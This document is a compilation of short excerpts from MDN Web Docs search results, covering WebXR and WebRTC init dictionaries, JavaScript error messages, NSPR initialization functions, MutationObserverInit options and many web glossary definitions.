... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.referencespace' in that specification.
... working draft initial definition.
XRReferenceSpaceEventInit.transform - Web APIs
the xrreferencespaceeventinit property transform indicates the position and orientation of the affected reference space's native origin after the changes the event represents are applied.
... syntax let eventinitdict = { referencespace: xrreferencespace, transform: xrrigidtransform }); value an xrrigidtransform object providing a transform that can be used to convert coordinates from the pre-event coordinate system to the post-event coordinate system.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit.transform' in that specification.
... working draft initial definition.
XRRenderStateInit - Web APIs
the xrrenderstateinit dictionary is a writeable version of the xrrenderstate interface, and is used when calling an xrsession's updaterenderstate() method to apply changes to the render state prior to rendering the next frame.
... usage notes any properties not specified in the xrrenderstateinit compliant object passed into updaterenderstate() are left at their current values.
... specifications specification status comment webxr device apithe definition of 'xrrenderstateinit' in that specification.
... working draft initial definition.
XRSessionEventInit.session - Web APIs
the xrsessioneventinit dictionary's session property specifies the xrsession for which the event describes a state change.
... syntax let sessioneventinit = { session: xrsession }; mysessionevent = new xrsessionevent(type, sessioneventinit); mysessionevent = new xrsessionevent(type, { session: xrsession }); value an xrsession object indicating which webxr session the event is referring to.
... specifications specification status comment webxr device apithe definition of 'xrsessioneventinit.session' in that specification.
... working draft initial definition.
XRWebGLLayerInit.alpha - Web APIs
the alpha property is a boolean value which, if present and set to true in the xrwebgllayerinit dictionary passed into the xrwebgllayer() constructor, specifies that the new layer's color buffer is to include an alpha channel.
... syntax let layerinit = { alpha: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the new webgl layer for rendering the webxr scene is to have an alpha channel.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.alpha' in that specification.
... working draft initial definition.
XRWebGLLayerInit.antialias - Web APIs
the boolean antialias property, if present and set to true in the xrwebgllayerinit object provided as the xrwebgllayer() constructor's layerinit parameter, requests that the new webgl rendering layer support anti-aliasing.
... syntax let layerinit = { antialias: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the new webgl rendering layer.
... specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.antialias' in that specification.
... working draft initial definition.
XRWebGLLayerInit.depth - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose depth property is false will request that the new layer be created without a depth buffer.
... syntax let layerinit = { depth: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { depth: false }); value a boolean which can be set to false to specify that the new webgl layer should not have a depth buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { depth: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.depth' in that specification.
... working draft initial definition.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default xr device display resolution.
... syntax let layerinit = { framebufferscalefactor: scalefactor }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { framebufferscalefactor: scalefactor }); value a floating-point value indicating a multiplier to apply to the default frame buffer resolution in order to determine the resolution of the frame buffer for the xrwebgllayer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { framebufferscalefactor: 0.5 }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.framebufferscalefactor' in that specification.
... working draft initial definition.
XRWebGLLayerInit.ignoreDepthValues - Web APIs
the xrwebgllayerinit dictionary's boolean ignoredepthvalues property can be provided in the options passed into the xrwebgllayer() constructor to indicate that the depth buffer, if it exists, should be ignored while composing the scene.
... syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value which can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false, ignoredepthvalues: true }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.ignoredepthvalues' in that specification.
... working draft initial definition.
XRWebGLLayerInit.stencil - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose stencil property is false requests that the new layer be created without a stencil buffer.
... syntax let layerinit = { stencil: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the new webgl layer should not include a stencil buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.stencil' in that specification.
... working draft initial definition.
XRWebGLLayerInit - Web APIs
the webxr device api's xrwebgllayerinit dictionary is used to provide configuration options when creating a new xrwebgllayer object with the xrwebgllayer() constructor.
... the constructor's optional layerinit parameter takes an object which must conform to this dictionary.
... const layeroptions = { ignoredepthvalues: true }; xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, layeroptions); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit' in that specification.
... working draft initial definition.
ReferenceError: can't access lexical declaration`X' before initialization - JavaScript
the javascript exception "can't access lexical declaration `variable' before initialization" occurs when a lexical variable was accessed before it was initialized.
... message referenceerror: use before delaration (edge) referenceerror: can't access lexical declaration `x' before initialization (firefox) referenceerror: 'x' is not defined (chrome) error type referenceerror what went wrong?
... a lexical variable was accessed before it was initialized.
... function test() { let foo = 33; if (true) { let foo = (foo + 55); // referenceerror: can't access lexical // declaration `foo' before initialization } } test(); valid cases to change "foo" inside the if statement, you need to remove the let that causes the redeclaration.
RangeError: repeat count must be less than infinity - JavaScript
the javascript exception "repeat count must be less than infinity" occurs when the string.prototype.repeat() method is used with a count argument that is infinity.
... message rangeerror: argument out of range (edge) rangeerror: repeat count must be less than infinity and not overflow maximum string size (firefox) rangeerror: invalid count value (chrome) error type rangeerror what went wrong?
...it must be between 0 and less than positive infinity and cannot be a negative number.
... examples invalid cases 'abc'.repeat(infinity); // rangeerror 'a'.repeat(2**28); // rangeerror valid cases 'abc'.repeat(0); // '' 'abc'.repeat(1); // 'abc' 'abc'.repeat(2); // 'abcabc' 'abc'.repeat(3.5); // 'abcabcabc' (count will be converted to integer) ...
Method definitions - JavaScript
starting with ecmascript 2015, a shorter syntax for method definitions on objects initializers is introduced.
...(that is, * g(){} will work, but g *(){} will not.) non-generator method definitions cannot contain the yield keyword.
... const obj4 = { f: async function* () { yield 1 yield 2 yield 3 } }; // the same object using shorthand syntax const obj4 = { async* f() { yield 1 yield 2 yield 3 } } method definitions are not constructable methods cannot be constructors!
... const bar = { foo0: function() { return 0 }, foo1() { return 1 }, ['foo' + 2]() { return 2 } } console.log(bar.foo0()) // 0 console.log(bar.foo1()) // 1 console.log(bar.foo2()) // 2 // a global function function foo() { return 1 } let name = 'foo' console.log(window[name]()) // 1 specifications specification ecmascript (ecma-262)the definition of 'method definitions' in that specification.
noinitialfocus - Archive of obsolete content
« xul reference homenoinitialfocustype: booleanif false, the default value, the element is considered when determining which element should be initially focused in a dialog.
... if true, the element will not receive initial focus.
... this lets you prevent things like descriptions and labels from inadvertently receiving initial focus.
NP_Initialize - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary provides global initialization for a plug-in.
... syntax windows #include <npapi.h> nperror winapi np_initialize(npnetscapefuncs *anpnfuncs) unix #include <npapi.h> nperror np_initialize(npnetscapefuncs *anpnfuncs, nppluginfuncs *anppfuncs) returns if successful, the function returns nperr_no_error.
...np_initialize tells the plug-in that the browser has loaded it and provides global initialization.
Initialize the framework - Game development
using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function update() {} </script> </body> </html> downloading the phaser ...
...we are initializing it by creating a new phaser.game object and assigning it to the game variable.
... compare your code here's the full source code of the first lesson, running live in a jsfiddle: next steps now we've set up the basic html and learned a bit about phaser initialization, let's continue to the second lesson and learn about scaling.
TCP slow start - MDN Web Docs Glossary: Definitions of Web-related terms
it does this without initially knowing what those capabilities are and without creating congestion.
...it prevents the appearance of network congestion whose capabilities are initially unknown, and slowly increases the volume of information diffused until the network's maximum capacity is found.
...when a new connection is made, cwnd is initialized to one tcp data or acknowledgment packet, and waits for an acknowledgement, or ack.
PR INIT CLIST
initializes a circular list.
... syntax #include <prclist.h> pr_init_clist (prclist *listp); parameter listp a pointer to the anchor of the linked list.
... description initializes the specified list to be an empty list.
PR_InitializeNetAddr
initializes or reinitializes a network address.
... syntax #include <prnetdb.h> prstatus pr_initializenetaddr( prnetaddrvalue val, pruint16 port, prnetaddr *addr); parameters the function has the following parameters: val the value to be assigned to the ip address portion of the network address.
... description pr_initializenetaddr allows the assignment of special network address values and the port number, while also setting the state that indicates the version of the address being used.
PR_Initialized
checks whether the runtime has been initialized.
... syntax #include <prinit.h> prbool pr_initialized(void); returns the function returns one of the following values: if pr_init has already been called, pr_true.
... if pr_init has not already been called, pr_false.
PR_REMOVE_AND_INIT_LINK
removes an element from a circular list and initializes the linkage.
... syntax #include <prclist.h> pr_remove_and_init_link (prclist *elemp); parameter elemp a pointer to the element.
... description pr_remove_and_init_link removes the specified element from its circular list and initializes the links of the element to point to itself.
JS_TracerInit
this article covers features introduced in spidermonkey 1.8 note: in jsapi 12, the macro js_tracer_init has been replaced by the function js_tracerinit initialize a jstracer for object graph tracing.
... syntax void js_tracerinit(jstracer *trc, jsruntime *rt, jstracecallback callback); name type description trc jstracer * the tracer to be initialized.
...see also mxr id search for js_tracerinit bug 807168 ...
nsIDOMGlobalPropertyInitializer
dom/interfaces/base/nsidomglobalpropertyinitializer.idlscriptable an initializer for global properties that lets them know about the window they're being attached to.
...method overview jsval init(in nsidomwindow window); methods init() jsval init( in nsidomwindow window ); parameters window the window to which the global property is being attached.
... return value the initialized global property.
CloseEvent.initCloseEvent() - Web APIs
the closeevent.initcloseevent() method initializes the value of a close event once it's been created (normally using the document.createevent() method).
... events initialized in this way must have been created with the document.createevent() method.
... syntax event.initmouseevent(type, canbubble, cancelable, wasclean, reasoncode, reason); parameters type the string to set the event's type to.
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the previous value of text nodes which changed.
... if you set the mutationobserverinit.characterdata property to true but don't set characterdataoldvalue to true as well, the mutationrecord will not include information describing the prior state of the text node's contents.
... example specifications specification status comment domthe definition of 'mutationobserverinit.characterdataoldvalue' in that specification.
MutationObserverInit.subtree - Web APIs
the mutationobserverinit dictionary's optional subtree property can be set to true to monitor the targeted node and all of its descendants.
... for example, to watch the target node only for attribute changes, the mutationobserverinit passed into mutationobserver() can be: var options = { attributes: true, subtree: false }; since the default value of subtree is false, line 3 is optional.
... to monitor the entire subtree for attribute changes, simply set subtree to true: var options = { attributes: true, subtree: true }; example specifications specification status comment domthe definition of 'mutationobserverinit.subtree' in that specification.
MutationObserverInit - Web APIs
the mutationobserverinit dictionary describes the configuration of a mutation observer.
...all of the other mutationobserverinit properties are then extended to all of the nodes in the subtree instead of applying solely to the target node.
... specifications specification status comment domthe definition of 'mutationobserverinit' in that specification.
RTCIceCandidateInit.sdpMLineIndex - Web APIs
the optional property sdpmlineindex in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's sdpmlineindex property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.sdpmlineindex' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit.sdpMid - Web APIs
the optional property sdpmid in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's sdpmid property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.sdpmid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateInit.usernameFragment - Web APIs
the optional property usernamefragment in the rtcicecandidateinit dictionary specifies the value of the rtcicecandidate object's usernamefragment property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCRtpTransceiverInit - Web APIs
the rtcrtptransceiverinit dictionary is used when calling the webrtc function rtcpeerconnection.addtransceiver() to provide configuration options for the new transceiver.
...this value is used to initialize the new rtcrtptransceiver object's rtcrtptransceiver.direction property.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiverinit' in that specification.
XRInputSourcesChangeEventInit - Web APIs
the xrinputsourceschangeeventinit dictionary is used to provide options to the xrinputsourceschangeevent() constructor in order to set the initial state of the new xrinputsourceschangeevent object.
... examples <tbd> specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit' in that specification.
... working draft initial definition.
XRReferenceSpaceEventInit - Web APIs
the xrreferencespaceeventinit dictionary is used when calling the xrreferencespaceevent() constructor to provide the values for its properties.
... let refspaceevent = new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit' in that specification.
... working draft initial definition.
XRSessionEventInit - Web APIs
the xrsessioneventinit dictionary is used when calling the xrsessionevent() constructor to provide the new event's initial values.
... examples <tbd> specifications specification status comment webxr device apithe definition of 'xrsessioneventinit' in that specification.
... working draft initial definition.
init - Archive of obsolete content
init initializes an init object.
... method of installversion object syntax init ( int maj, int min, int rev, int bld ); init ( string version ); parameters the init method has the following parameters: maj the major version number.
Accessibility - MDN Web Docs Glossary: Definitions of Web-related terms
web accessibility is formally defined and discussed at the w3c through the web accessibility initiative (wai).
... learn more general knowledge accessibility resources at mdn web accessibility on wikipedia learn web accessibility learn accessibility on mdn web accessibility in mind technical reference the aria documentation on mdn the web accessibility initiative homepage the wai-aria recommendation ...
CSS pixel - MDN Web Docs Glossary: Definitions of Web-related terms
by definition, this is the physical size of a single pixel at a pixel density of 96 dpi, located an arm's length away from the viewer's eyes.
... that definition, of course, leaves a lot of wiggle room, as the terms "be comfortably seen" and "an arm's length away" are imprecise, varying from person to person.
Domain sharding - MDN Web Docs Glossary: Definitions of Web-related terms
the initial response from an http request is generally an html file listing other resources such as javascript, css, images and other media files that need to be downloaded.
...multiple domains, however, is an anti-pattern, as dns lookups slow initial load times.
Grid Cell - MDN Web Docs Glossary: Definitions of Web-related terms
the five items are placed into grid cells working along an initial row of three grid cells, then creating a new row for the remaining two.
...isplay: grid; grid-template-columns: repeat(3,1fr); grid-auto-rows: 100px; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns further reading css grid layout guide: basic concepts of grid layout definition of grid cells in the css grid layout specification ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
content versus idl attributes in html, most attributes have two faces: the content attribute and the idl (interface definition language) attribute.
... learn more general knowledge idl on wikipedia html attribute reference technical reference interface definition language ...
Parameter - MDN Web Docs Glossary: Definitions of Web-related terms
note the difference between parameters and arguments: function parameters are the names listed in the function's definition.
... parameters are initialized to the values of the arguments supplied.
WAI - MDN Web Docs Glossary: Definitions of Web-related terms
wai or web accessibility initiative is an effort by the world wide web consortium (w3c) to improve accessibility for people with various challenges, who may need a nonstandard browser or devices.
... learn more general knowledge wai website web accessibility initiative on wikipedia ...
JS_InitCTypesClass
this article covers features introduced in spidermonkey 1.8.5 initialize the ctypes object on a global object.
...syntax jsbool js_initctypesclass(jscontext *cx, jsobject *global); name type description cx jscontext * the context.
AnimationEvent.initAnimationEvent() - Web APIs
summary the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
... syntax animationevent.initanimationevent(typearg, canbubblearg, cancelablearg, animationnamearg, elapsedtimearg); parameters typearg a domstring identifying the specific type of animation event that occurred.
KeyboardEvent.initKeyboardEvent() - Web APIs
the keyboardevent.initkeyboardevent() method initializes the attributes of a keyboard event object.
... syntax kbdevent.initkeyboardevent(typearg, canbubblearg, cancelablearg, viewarg, chararg, keyarg, locationarg, modifierslistarg, repeat) parameters typearg the type of keyboard event; this will be one of keydown, keypress, or keyup.
MutationObserverInit.attributeFilter - Web APIs
the mutationobserverinit dictionary's optional attributefilter property is an array of strings specifying the names of the attributes whose values are to be monitored for changes.
... specifications specification status comment domthe definition of 'mutationobserverinit: attributefilter' in that specification.
MutationObserverInit.attributeOldValue - Web APIs
the mutationobserverinit dictionary's optional attributeoldvalue property is used to specify whether or not to record the prior value of the altered attribute in mutationrecord objects denoting attribute value changes.
... specifications specification status comment domthe definition of 'mutationobserverinit.attributeoldvalue' in that specification.
MutationObserverInit.attributes - Web APIs
the mutationobserverinit dictionary's optional attributes property is used to specify whether or not to watch for attribute value changes on the node or nodes being observed.
... specifications specification status comment domthe definition of 'mutationobserverinit.attributes' in that specification.
MutationObserverInit.characterData - Web APIs
the mutationobserverinit dictionary's optional characterdata property is used to specify whether or not to monitor the node or nodes being observed for changes to their textual contents.
... example specifications specification status comment domthe definition of 'mutationobserverinit.characterdata' in that specification.
MutationObserverInit.childList - Web APIs
the mutationobserverinit dictionary's optional childlist property indicates whether or not to monitor the specified node or nodes for the addition or removal of new child nodes.
... example specifications specification status comment domthe definition of 'mutationobserverinit.childlist' in that specification.
ProgressEvent.initProgressEvent() - Web APIs
the progressevent.initprogressevent() method initializes an animation event created using the deprecated document.createevent("progressevent") method.
...do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred.
TransitionEvent.initTransitionEvent() - Web APIs
the transitionevent.inittransitionevent() method initializes a transition event created using the deprecated document.createevent("transitionevent") method.
...do not use it anymore, use the standard constructor, transitionevent(), to create a synthetic transitionevent syntax transitionevent.inittransitionevent(typearg, canbubblearg, cancelablearg, transitionnamearg, elapsedtimearg); parameters typearg is a domstring identifying the specific type of transition event that occurred.
init() - Web APIs
initializes the object for use from c++ code.
... [noscript] void init( in nsiprincipal principal, in nsiscriptcontext scriptcontext, in nsiglobalobject globalobject, in nsiuri baseuri, [optional] in nsiloadgroup loadgroup ); parameters principal the principal to use for the request; this must not be null.
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
ajax, which initially stood for asynchronous javascript and xml, is a programming practice of building complex, dynamic webpages using a technology known as xmlhttprequest.
ALPN - MDN Web Docs Glossary: Definitions of Web-related terms
important protocol identifiers: protocol identification sequence http/1.1 0x68 0x74 0x74 0x70 0x2f 0x31 0x2e 0x31 ("http/1.1") http/2 0x68 0x32 ("h2") http/2 over cleartext tcp 0x68 0x32 0x63 ("h2c") specifications specification status notes rfc 7301 ietf rfc initial definition.
ATAG - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge atag as part of the web accessibility initiative on wikipedia technical reference authoring tool accessibility guidelines (atag) overview the atag 2.0 recommendation ...
Alignment subject - MDN Web Docs Glossary: Definitions of Web-related terms
the definition of the alignment subject depends on the layout mode being used.
Bootstrap - MDN Web Docs Glossary: Definitions of Web-related terms
initially, bootstrap was called twitter blueprint and was developed by a team working at twitter.
Bézier curve - MDN Web Docs Glossary: Definitions of Web-related terms
in vector images, they are used to model smooth curves that can be scaled indefinitely.
Class - MDN Web Docs Glossary: Definitions of Web-related terms
class is a template definition of an object's properties and methods, the "blueprint" from which other more specific instances of the object are drawn.
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
while the total amount of code is the same (and perhaps even a few bytes larger), the amount of code needed during initial load can be reduced.
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
the constructor initializes this object and can provide access to its private information.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge definition of the doctype in the html specification quirks mode and standards mode technical reference document.doctype, a javascript method that returns the doctype ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
alsy values in javascript (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ↪ false 0 && "dog" // ↪ 0 specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
reducing site initialization time and eliminating long tasks can help eliminate first input delays.
Forbidden response header name - MDN Web Docs Glossary: Definitions of Web-related terms
specifications specification status comment fetchthe definition of 'forbidden-response-header-name' in that specification.
Function - MDN Web Docs Glossary: Definitions of Web-related terms
the way to identify an iife is by locating the extra left and right parenthesis at the end of the function’s definition.
Grid Areas - MDN Web Docs Glossary: Definitions of Web-related terms
a; } .item2 { grid-area: b; } <div class="wrapper"> <div class="item1">item</div> <div class="item2">item</div> </div> learn more property reference grid-template-columns grid-template-rows grid-auto-rows grid-auto-columns grid-template-areas grid-area further reading css grid layout guide: basic concepts of grid layout css grid layout guide: grid template areas definition of grid areas in the css grid layout specification ...
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
erence grid-template-columns grid-template-rows grid-column-start grid-column-end grid-column grid-row-start grid-row-end grid-row further reading css grid layout guide: basic concepts of grid layout css grid layout guide: line-based placement with css grid css grid layout guide: layout using named grid lines css grid layout guide: css grids, logical values and writing modes definition of grid lines in the css grid layout specification ...
Gutters - MDN Web Docs Glossary: Definitions of Web-related terms
learn more property reference grid-column-gap grid-row-gap grid-gap further reading css grid layout guide: basic concepts of grid layout definition of gutters in the css grid layout specification ...
I18N - MDN Web Docs Glossary: Definitions of Web-related terms
(the w3c definition) among other things, i18n requires support for multiple character sets (usually via unicode) units of measure (currency, °c/°f, km/miles, etc.) time and date formats keyboard layouts text directions learn more general knowledge i18n on wikipedia technical reference i18n on w3c i18n on gala-global.org learn about it i18n material on i18nguy.com ...
IIFE - MDN Web Docs Glossary: Definitions of Web-related terms
(function () { var aname = "barry"; })(); // variable aname is not accessible from the outside scope aname // throws "uncaught referenceerror: aname is not defined" assigning the iife to a variable stores the function's return value, not the function definition itself.
IMAP - MDN Web Docs Glossary: Definitions of Web-related terms
mark crispin initially developed imap in 1986 as interim mail access protocol.
IPv4 - MDN Web Docs Glossary: Definitions of Web-related terms
first formalized in 1981, ipv4 traces its roots to the initial development work for arpanet.
Idempotent - MDN Web Docs Glossary: Definitions of Web-related terms
t /add_row http/1.1 -> adds a 2nd row post /add_row http/1.1 -> adds a 3rd row delete /idx/delete http/1.1 is idempotent, even if the returned status code may change between requests: delete /idx/delete http/1.1 -> returns 200 if idx exists delete /idx/delete http/1.1 -> returns 404 as it just got deleted delete /idx/delete http/1.1 -> returns 404 learn more general knowledge definition of idempotent in the http specification.
Inheritance - MDN Web Docs Glossary: Definitions of Web-related terms
as an app developer, you can choose which of the superclass's attributes and methods to keep and add your own, making class definition very flexible.
Lazy load - MDN Web Docs Glossary: Definitions of Web-related terms
if correctly implemented, this delay in asset loading is seamless to the user experience and might help improve initial load performance, including time to interactive, as fewer assets are required for the page to start working.
mime - MDN Web Docs Glossary: Definitions of Web-related terms
initially used for e-mail attachments, it has become the de facto standard to define types of documents anywhere.
Metadata - MDN Web Docs Glossary: Definitions of Web-related terms
metadata is — in its very simplest definition — data that describes data.
Microsoft Edge - MDN Web Docs Glossary: Definitions of Web-related terms
initially known as spartan, edge replaced the longstanding microsoft browser internet explorer.
NaN - MDN Web Docs Glossary: Definitions of Web-related terms
for example, nans can represent infinity, result of division by zero, missing value, or the square root of a negative (which is imaginary, whereas a floating-point number is real).
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
navigate-to restricts the urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
Netscape Navigator - MDN Web Docs Glossary: Definitions of Web-related terms
despite netscape's technical advantages and initial dominance, by the late 1990s internet explorer swiftly overtook netscape in market share.
Opera Browser - MDN Web Docs Glossary: Definitions of Web-related terms
opera is the fifth most used web browser, publicly released in 1996 and initially running on windows only.
PHP - MDN Web Docs Glossary: Definitions of Web-related terms
php (a recursive initialism for php: hypertext preprocessor) is an open-source server-side scripting language that can be embedded into html to build web applications and dynamic websites.
Primitive - MDN Web Docs Glossary: Definitions of Web-related terms
these copies, existing only inside the functions' scopes, are accessible via the identifiers we specified in the functions' definitions (num for addtwo, foo for addtwo_v2) then, the functions' statements are executed: in the first function, a local num variable had been created.
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
as a vector image format, svg graphics can scale infinitely, making them invaluable in responsive design, since you can create interface elements and graphics that scale to any screen size.
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
to the developer the type of data that will be populated semantic naming mirrors proper custom element/component naming when approaching which markup to use, ask yourself, "what element(s) best describe/represent the data that i'm going to populate?" for example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.
Session Hijacking - MDN Web Docs Glossary: Definitions of Web-related terms
session hijacking occurs because no account lockout for invalid session ids weak session-id generation algorithm insecure handling indefinite session expiration time short session ids transmission in plain text session hijacking process sniff, that is perform a man-in-the-middle (mitm) attack, place yourself between victim and server.
Site - MDN Web Docs Glossary: Definitions of Web-related terms
me http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two urls differs specifications specification status comment url living standard initial definition ...
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
tcp has concurrence control, which means the initial requests start small, increasing in size to the levels of bandwidth the computers, servers, and network can support.
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
because these things are all happening in one thread, a slow website or app script slows down the entire browser; worse, if a site or app script enters an infinite loop, the entire browser will hang.
Truthy - MDN Web Docs Glossary: Definitions of Web-related terms
examples of truthy values in javascript (which will be coerced to true in boolean contexts, and thus execute the if block): if (true) if ({}) if ([]) if (42) if ("0") if ("false") if (new date()) if (-42) if (12n) if (3.14) if (-3.14) if (infinity) if (-infinity) specifications specification ecmascript (ecma-262)the definition of 'toboolean abstract operation' in that specification.
WCAG - MDN Web Docs Glossary: Definitions of Web-related terms
web content accessibility guidelines (wcag) are a recommendation published by the web accessibility initiative group at the w3c.
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting standards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface design learn more general knowledge web standa...
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
a discrete cosine transform expresses a finite sequence of data points in terms of a sum of cosine functions oscillating at different frequencies.
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
in simpler terms: lossy compression causes data from the initial file to be lost, possibly causing degradation in quality.
Origin - MDN Web Docs Glossary: Definitions of Web-related terms
amples of different origin http://example.com/app1 https://example.com/app2 different schemes http://example.com http://www.example.com http://myapp.example.com different hosts http://example.com http://example.com:8080 different ports specifications specification status comment html living standardthe definition of 'origin' in that specification.
Percent-encoding - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge definition of percent-encoding in wikipedia.
Routers - MDN Web Docs Glossary: Definitions of Web-related terms
there are two definitions for routers on the web: for the network layer, the router is a networking device that decides data packets directions.
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
a call to a safe method, not changing the state for the server: get /pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification.
MDN Web Docs Glossary: Definitions of Web-related terms
this glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web.
IPC Protocol Definition Language (IPDL)
ipdl, short for "ipc (inter-process communication) protocol definition language", is a mozilla-specific language allowing c++ code to pass messages between processes or threads in an organized and secure way.
Initial setup
end of initial setup now that you've finished your initial setup, it's time for the best part: translating!
PR_Initialize
the type for the root function used by pr_initialize is specified as follows: syntax typedef printn (pr_callback *prprimordialfn)(printn argc, char **argv); see also pr_initialize ...
init
this content is now available at nsidirectoryservice.init().
init
this content is now available at nsiscriptableinputstream.init().
HTMLMediaElement.initialTime - Web APIs
the htmlmediaelement.initialtime is the initial playback position in seconds.
XRSessionInit - Web APIs
the webxr device api dictionary xrsessioninit specifies required and/or optional features when requesting a new xrsession by calling the navigator.xr.requestsession() method.
Index - Web APIs
WebAPIIndex
73 animation.pending api, animation, animations, property, reference, web animations, web animations api the read-only animation.pending property of the web animations api indicates whether the animation is currently waiting for an asynchronous operation such as initiating playback or pausing a running animation.
